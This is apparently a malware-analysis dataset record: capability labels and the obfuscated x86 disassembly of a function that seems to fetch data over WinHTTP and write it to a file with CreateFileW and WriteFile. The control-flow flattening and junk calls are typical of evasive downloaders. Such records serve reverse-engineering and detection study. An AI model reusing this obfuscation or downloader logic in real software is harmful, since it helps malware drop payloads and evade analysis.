Function at 0x41ed6d
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov dword [ebp - 0x10], 0xd84d8ba6
xor esi, esi
mov edi, 0xd8
mov eax, dword [ebp - 0x10]
cmp eax, 0x10c0eff7
jg 0x41edd8
cmp eax, 0xcb21ae9b
jg 0x41eebf
cmp eax, 0xb4122f9f
jle 0x41ef2e
cmp eax, 0xbe5659ca
jle 0x41f15f
cmp eax, 0xbe5659cb
je 0x41f3fc
cmp eax, 0xca5ed588
je 0x41f488
cmp eax, 0xcb0f2970
jne 0x41ed84
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0xbe5659cb
jmp 0x41ed84
cmp eax, 0x2a72de9b
jg 0x41ee4c
cmp eax, 0x17b292b0
jle 0x41ef64
cmp eax, 0x244fd0dc
jle 0x41f197
cmp eax, 0x244fd0dd
je 0x41f411
cmp eax, 0x27e595f9
je 0x41f4a8
cmp eax, 0x2a390ed0
jne 0x41ed84
imul eax, dword [ebp - 0x14], 0xa1
shr eax, 5
mov dword [ebp - 0x14], eax
push eax
push 0x270c
push 0x282
push 0x5954
push 0x4879
call fcn.00416be4
add esp, 0x14
mov dword [ebp - 0x10], 0x99b67fbc
jmp 0x41ed84
cmp eax, 0x5ac41d5b
jg 0x41efad
cmp eax, 0x3e942281
jle 0x41f1fb
cmp eax, 0x3e942282
je 0x41f454
cmp eax, 0x46bb92a1
je 0x41f4eb
cmp eax, 0x4ad13176
jne 0x41ed84
mov eax, dword [ebp - 0x14]
shl eax, 0xe
and eax, 0xfe000000
or eax, 0x660
mov dword [ebp - 0x14], eax
push 0x166e
push 0x5209
push eax
push 0x5bec
call fcn.00418e12
add esp, 0x10
call fcn.00416c05
mov dword [ebp - 0x10], 0x1185242d
jmp 0x41ed84
cmp eax, 0xfceca296
jle 0x41effe
cmp eax, 0x21397d2
jle 0x41f22c
cmp eax, 0x21397d3
je 0x41f460
cmp eax, 0x7e19442
je 0x41f525
cmp eax, 0xeffc43e
jne 0x41ed84
mov ebx, dword [ebp - 0x14]
mov eax, 0xfffffec1
add ebx, eax
mov dword [ebp - 0x14], ebx
push ebx
push 0x3aed
push 0x3ba
push 0x10da
call fcn.0041769c
add esp, 0x10
mov eax, 0xcb21ae9c
cmp ebx, 0x2f
jge 0x41f2ca
jmp 0x41f540
cmp eax, 0x8b644bae
jle 0x41f111
cmp eax, 0x8b644baf
je 0x41f33a
cmp eax, 0x99b67fbc
jne 0x41f548
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x2a72de9c
jmp 0x41ed84
cmp eax, 0x14912e0e
jg 0x41f055
cmp eax, 0x10c0eff8
je 0x41f263
cmp eax, 0x1185242d
jne 0x41ed84
imul ecx, dword [ebp - 0x14], 0x2f
add ecx, 0x1ca4
mov dword [ebp - 0x14], ecx
mov eax, 0x8b644baf
cmp ecx, 0xd8
jb 0x41f540
mov eax, 0xaa4806
jmp 0x41f540
cmp eax, 0x76530f7a
jg 0x41f0a1
cmp eax, 0x5ac41d5c
je 0x41f278
cmp eax, 0x5d07fa1d
jne 0x41ed84
imul ecx, dword [ebp - 0x14], 0xce00
add ecx, 0x6a3800
mov eax, ecx
shr eax, 0xb
mov dword [ebp - 0x14], eax
mov eax, 0x99b67fbc
cmp ecx, 0x21800
jb 0x41f540
mov eax, 0xfceca297
jmp 0x41f540
cmp eax, 0xd84d8ba5
jg 0x41f0ef
cmp eax, 0xcb21ae9c
je 0x41f2e3
cmp eax, 0xce3864f7
jne 0x41ed84
mov dword [ebp - 0x14], esi
push esi
push 0xb87
push 0x32aa
push 0x27fc
push 0x2617
push 0x320b
push 0x597a
call fcn.0041825b
add esp, 0x1c
mov dword [ebp - 0x10], 0x802ad5a3
jmp 0x41ed84
cmp eax, 0x14912e0f
je 0x41f29b
cmp eax, 0x15aeb714
jne 0x41ed84
mov eax, dword [ebp - 0x18]
mov ecx, eax
shr ecx, 0xe
imul ecx, ecx
imul edx, ecx, 0x7ec3
dec edx
shr eax, 0x1a
lea eax, [eax*4 + 0x94]
mov dword [ebp - 0x18], eax
mov eax, 0x7e19442
cmp ecx, edx
je 0x41f540
mov eax, 0xcb0f2970
jmp 0x41f540
cmp eax, 0x76530f7b
je 0x41f2d4
cmp eax, 0x7983cfac
jne 0x41f555
mov eax, dword [ebp - 0x18]
add eax, 0xffffffd1
shr eax, 2
add eax, 0xad
imul ecx, eax, 0x4f0b
imul eax, eax
imul edx, eax, 0x4aa9
dec edx
mov dword [ebp - 0x18], ecx
mov ecx, 0x4ad13176
cmp edx, eax
je 0x41f3b0
mov ecx, 0x9e8b0307
jmp 0x41f3b0
cmp eax, 0xd84d8ba6
je 0x41f2fc
cmp eax, 0xee355f59
jne 0x41f562
mov dword [ebp - 0x10], 0xcb21ae9c
jmp 0x41ed84
cmp eax, 0x802ad5a3
je 0x41f30e
cmp eax, 0x82a9b641
jne 0x41ed84
mov eax, dword [ebp - 0x18]
shr eax, 0xe
lea ecx, [eax + 0x2f]
imul ecx, ecx
add eax, 0x6d
imul edx, ecx, 0x2c5f
dec edx
shr eax, 2
and eax, 0x1f000
mov dword [ebp - 0x18], eax
mov eax, 0x46bb92a1
cmp ecx, edx
je 0x41f540
mov eax, 0x8b644baf
jmp 0x41f540
cmp eax, 0xb4122fa0
je 0x41f351
cmp eax, 0xbdef6eaf
jne 0x41ed84
imul ecx, dword [ebp - 0x14], 0x37d0a8
mov dword [ebp - 0x14], ecx
mov eax, 0xfceca297
cmp ecx, 0x30
jae 0x41f540
mov eax, 0xce3864f7
jmp 0x41f540
cmp eax, 0x17b292b1
je 0x41f382
cmp eax, 0x198ecc9f
jne 0x41ed84
mov ebx, dword [ebp - 0x14]
add ebx, 0x7c
shr ebx, 0xb
mov dword [ebp - 0x14], ebx
push 0x5718
push 0x36dc
push 0x5fe3
push 0x4af6
push ebx
push 0x35d2
push 0x250c
call fcn.0041bf11
add esp, 0x1c
mov eax, 0xfceca297
cmp ebx, 0x9d
je 0x41f540
mov eax, 0xa80953d8
jmp 0x41f540
cmp eax, 0x2a72de9c
je 0x41f3b8
cmp eax, 0x3c1bbca1
jne 0x41ed84
imul eax, dword [ebp - 0x18], 0x6de200
add eax, 0x7f62c2
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x3e942282
jmp 0x41ed84
cmp eax, 0xfceca297
je 0x41f3d5
cmp eax, 0xaa4806
jne 0x41ed84
mov ecx, dword [ebp - 0x14]
add ecx, 0xffffffa2
mov dword [ebp - 0x14], ecx
mov eax, 0x8b644baf
cmp ecx, 0x3c
jl 0x41f540
mov eax, 0x802ad5a3
jmp 0x41f540
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10], 0xb4122fa0
jmp 0x41ed84
mov eax, dword [ebp - 0x18]
shl eax, 6
add eax, 0x3b04
shr eax, 8
lea ecx, [eax + eax*4]
lea eax, [eax + ecx*2]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x9e8b0307
jmp 0x41ed84
mov eax, dword [ebp - 0x14]
mov ecx, 0xbc
add eax, ecx
shr eax, 0xa
imul ebx, eax, 0x79
mov dword [ebp - 0x14], ebx
push 0x4c9a
push ebx
call fcn.0041998b
add esp, 8
mov eax, 0xcb21ae9c
cmp ebx, 0x4d
jb 0x41f540
mov eax, 0x2a72de9c
jmp 0x41f540
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0x8b644baf
jmp 0x41ed84
cmp dword [ebp - 0x2c], 0
mov eax, 0x5ac41d5c
je 0x41f540
mov eax, 0x82a9b641
jmp 0x41f540
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], 0xfceca297
jmp 0x41ed84
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
mov eax, 0x15aeb714
jg 0x41f326
mov eax, 0xee355f59
cmp byte [ebp - 0x19], 0
jne 0x41f540
mov eax, 0xee355f59
jmp 0x41f540
push dword [ebp - 0x2c]
call fcn.004596fc
add esp, 4
mov dword [ebp - 0x10], 0x7983cfac
jmp 0x41ed84
mov eax, dword [ebp - 0x18]
shl eax, 5
add eax, 0xffffe460
shr eax, 0xa
imul ecx, eax, 0x42c6
imul eax, eax
imul edx, eax, 0x28e3
dec edx
mov dword [ebp - 0x18], ecx
mov ecx, 0xbe5659cb
cmp edx, eax
je 0x41f3b0
mov ecx, 0x76530f7b
jmp 0x41f3b0
imul eax, dword [ebp - 0x18], 0xe2
shr eax, 4
imul ecx, eax, 0xd1
imul eax, eax
imul edx, eax, 0x786f
dec edx
add ecx, 0x26
mov dword [ebp - 0x18], ecx
mov ecx, 0x21397d3
cmp eax, edx
je 0x41f3b0
mov ecx, 0x10c0eff8
mov dword [ebp - 0x10], ecx
jmp 0x41ed84
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push dword [ebp + 8]
call fcn.0041d561
add esp, 0xc
mov dword [ebp - 0x10], 0x27e595f9
jmp 0x41ed84
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], 0x99b67fbc
jmp 0x41ed84
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x3c1bbca1
jmp 0x41ed84
imul ebx, dword [ebp - 0x14], 0xcc00
add ebx, 0x16cbb
mov eax, ebx
shr eax, 8
mov dword [ebp - 0x14], eax
push 0x474d
push 0x4e7d
push eax
call fcn.00418a73
add esp, 0xc
mov eax, 0x14912e0f
cmp ebx, 0x4800
jae 0x41f540
mov eax, 0x2a390ed0
jmp 0x41f540
mov dword [ebp - 0x10], 0xca5ed588
jmp 0x41ed84
imul ecx, dword [ebp - 0x14], 0xbc
add ecx, 0x8898
mov dword [ebp - 0x14], ecx
mov eax, 0x198ecc9f
cmp ecx, 0x56
jge 0x41f540
mov eax, 0xca5ed588
jmp 0x41f540
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x34]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x10], 0x17b292b1
jmp 0x41ed84
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
setne al
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], esi
setne cl
and cl, al
mov byte [ebp - 0x19], cl
mov dword [ebp - 0x10], 0x802ad5a3
jmp 0x41ed84
mov eax, dword [ebp - 0x14]
add eax, edi
shr eax, 2
and eax, 0xfffffffe
lea ebx, [eax + eax*2]
mov dword [ebp - 0x14], ebx
push 0x3624
push 0x3dfc
push 0x1b1e
push ebx
call fcn.00419785
add esp, 0x10
mov eax, 0xfc5c6eb7
cmp ebx, 0x24
jge 0x41f540
mov eax, 0x244fd0dd
jmp 0x41f540
mov ecx, dword [ebp - 0x14]
shl ecx, 0xd
mov eax, 0xbdef6eaf
add ecx, 0xfff02000
mov dword [ebp - 0x14], ecx
je 0x41f540
mov eax, 0x5d07fa1d
mov dword [ebp - 0x10], eax
jmp 0x41ed84
cmp eax, 0x9e8b0307
jne 0x41ed84
jmp 0x41f59b
cmp eax, 0x7fc78f69
jne 0x41ed84
jmp 0x41f5a9
cmp eax, 0xfc5c6eb7
jne 0x41ed84
mov eax, 0xffffff05
add eax, dword [ebp - 0x14]
shr eax, 4
imul eax, eax, 0x13d1ed00
mov dword [ebp - 0x14], eax
push 0x31d0
push 0x4432
push 0x3d52
push 0x5db8
push eax
call fcn.0041a0e1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xd3
add eax, dword [ebp - 0x14]
shr eax, 9
mov dword [ebp - 0x14], eax
push 0x2a7b
push eax
call fcn.004136a9